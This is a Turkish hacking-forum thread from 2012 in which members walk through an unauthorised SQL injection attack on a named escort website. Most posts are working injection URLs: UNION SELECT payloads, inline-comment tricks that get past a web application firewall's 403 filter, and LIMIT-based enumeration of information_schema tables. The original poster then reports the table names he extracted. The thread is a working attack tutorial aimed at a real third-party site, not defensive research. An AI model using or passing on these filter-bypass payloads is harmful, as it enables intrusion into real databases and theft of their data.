Sql İnjection 403 Forbidden Sorunu ?

Tahribat.com Forumları
line

Hertürlü Web tabanlı Saldırı Taktik ve Stratejileri
line

24/Oca/12 12:21 Kısayol Şikayet Özel Mesaj

bensiz_aglama

Kayıt Tarihi: 23/Aralık/2009

Merhaba arkadaşlar bir tane eskort site üzerinde sql denerken 403 forbidden olayı çıktı ama onu bypass yöntemi ile hallettim ama kolon sayısını yansıttığı zaman kolonların tablo isimlerini bulmaya çalışırken tekrardan aynı sorunu verdi acaba sorun nerde

http://massage-erotic-montreal.com/hostess.php?id=24+order+by+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- (NORMAL)

http://massage-erotic-montreal.com/hostess.php?id=-24+order+by+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- (SAYILARI GÖSTERDİ)

http://massage-erotic-montreal.com/hostess.php?id=24+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- (403 FORBİDDEN)

http://massage-erotic-montreal.com/hostess.php?id=-24+union+/*!select*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- (BYPASS)

bundan sonra kolonları yazınca nedense yeniden 403 olayını vuruyor acaba nerede bir yanlışım var ?

Alıntı yap
25/Oca/12 23:02 Kısayol Şikayet Özel Mesaj

Twitter

Kayıt Tarihi: 13/Ekim/2007

hex veya char kullan

Part Time Engineer, Full Time Dreamer ..

Alıntı yap
25/Oca/12 23:40 Kısayol Şikayet Özel Mesaj

Kazekage

Kayıt Tarihi: 28/Ekim/2010

Hocam hex kullan ben genelde hexle hallediyordum hex(unhex().

uğraşmayalı baya oldu ama bi dene

Alıntı yap
26/Oca/12 11:28 Kısayol Şikayet Özel Mesaj

bensiz_aglama

Kayıt Tarihi: 23/Aralık/2009

yok hocam hex yemedi char olayıda olmadı acaba hex ile char dökümanlarını varsa paylsabilirmisiniz.

Alıntı yap
26/Oca/12 12:10 Kısayol Şikayet Özel Mesaj

Allura

Kayıt Tarihi: 17/Mayıs/2009

hex değilde sex sitesi mi burası sdjfasld montreale gidicem bir ay sonra kullanabilirim burayı dursun :)

"

Alıntı yap
29/Oca/12 15:56 Kısayol Şikayet Özel Mesaj

Twitter

Kayıt Tarihi: 13/Ekim/2007

Hocam başka bir konu açıcaktım sırf bu vereceğim cevap için :) (yapabilirimde yeni taktikler için )

İnan sabahtan beri uğraşıyorum 2 saat oldu bypass edene kadar canım çıktı

Amaç sizlerin öğrenmesi anlatayım şimdi

Sen sadece rakamları çıkarmayı halletmişsin gördümki tablo falan çekemiyorsun

Webmaster karakterleri filtrelemiş özellikle tables adını filtrelemiş bunu adım adım giderek farkettim

yani

http://massage-erotic-montreal.com/hostess.php?id=-24+UNION+/*!select*/+ALL+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 (sorun yok )

http://massage-erotic-montreal.com/hostess.php?id=-24+UNION+/*!select*/+ALL+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+From (sorun yok )

http://massage-erotic-montreal.com/hostess.php?id=-24+UNION+/*!select*/+ALL+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+information_schema (sorun yok )

http://massage-erotic-montreal.com/hostess.php?id=-24+UNION+/*!select*/+ALL+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+information_schema.table (görüyoruzki table de bile sorun yok ama )

http://massage-erotic-montreal.com/hostess.php?id=-24+UNION+/*!select*/+ALL+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+information_schema.tables ( yaptığımız an bum adminini filtresi devreye giriyor 403 forbidden çıktı )

Filtreyi ise sırayla /**/ ile aştım yani

http://massage-erotic-montreal.com/hostess.php?id=-24+UNION+/*!select*/+ALL+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+From+/**/information_schema./**/tables/**/

uyguladım gördükki sorunsuz açıldı +1

şimdi adam group_concat fonksiyonunuda kapatmış yani tabloları topluca alamıyoruz

http://massage-erotic-montreal.com/hostess.php?id=-24+UNION+/*!select*/+ALL+table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+From+/**/information_schema./**/tables/**/

yapınca sorun yok chracter_Sets bilmem ne diye verdi ama bu tablo işe yaramaz group_concat ile alayını çekmek lazım fakat

http://massage-erotic-montreal.com/hostess.php?id=-24+UNION+/*!select*/+ALL+group_concat(table_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+From+/**/information_schema./**/tables/**/

yapınca forbidden a düştük istesek buda aşılır ama ben limit yöntemi kullandım onu filtrelemeyi akıl etmemiş

Limitli yöntem kullanınca göreceğizki sular seller gibi akacak

http://massage-erotic-montreal.com/hostess.php?id=-24+UNION+/*!select*/+ALL+table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+From+/**/information_schema./**/tables/**/+limit+1,1

http://massage-erotic-montreal.com/hostess.php?id=-24+UNION+/*!select*/+ALL+table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+From+/**/information_schema./**/tables/**/+limit+2,1

gibi sayıları artırarak sırayla çekebilirsiniz

Artık bi zahmet kolonları falanda sen kas :) hep hazır bekleme

Herkese saygılar sevgiler

Part Time Engineer, Full Time Dreamer ..

Alıntı yap
29/Oca/12 16:03 Kısayol Şikayet Özel Mesaj

SweetyVolty

Kayıt Tarihi: 12/Temmuz/2008

@Twitter:

Hacı tunceliye gelince haber eyle, şöyle net çeken bir yerde,(tabiki üninin kantininde) biraz takılalım, ben yemek ısmarlarım sende sql injection gösterirsin :))

Çok sıkılıyom

Alıntı yap
29/Oca/12 17:34 Kısayol Şikayet Özel Mesaj

yawuz

Kayıt Tarihi: 17/Temmuz/2005

karakter filitreleyince bu iş bitiyor mu?

tahribat.com a can feda

Alıntı yap
29/Oca/12 17:50 Kısayol Şikayet Özel Mesaj

bensiz_aglama

Kayıt Tarihi: 23/Aralık/2009

bu kolonlarda

http://massage-erotic-montreal.com/hostess.php?id=-24+UNION+/*!select*/+ALL+table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+From+/**/information_schema./**/tables/**/+limit+17,1

hostesses

http://massage-erotic-montreal.com/hostess.php?id=-24+UNION+/*!select*/+ALL+table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+From+/**/information_schema./**/tables/**/+limit+18,1

textes verdi :D

Alıntı yap

Toplam Hit: 1863 Toplam Mesaj: 9

Cevapla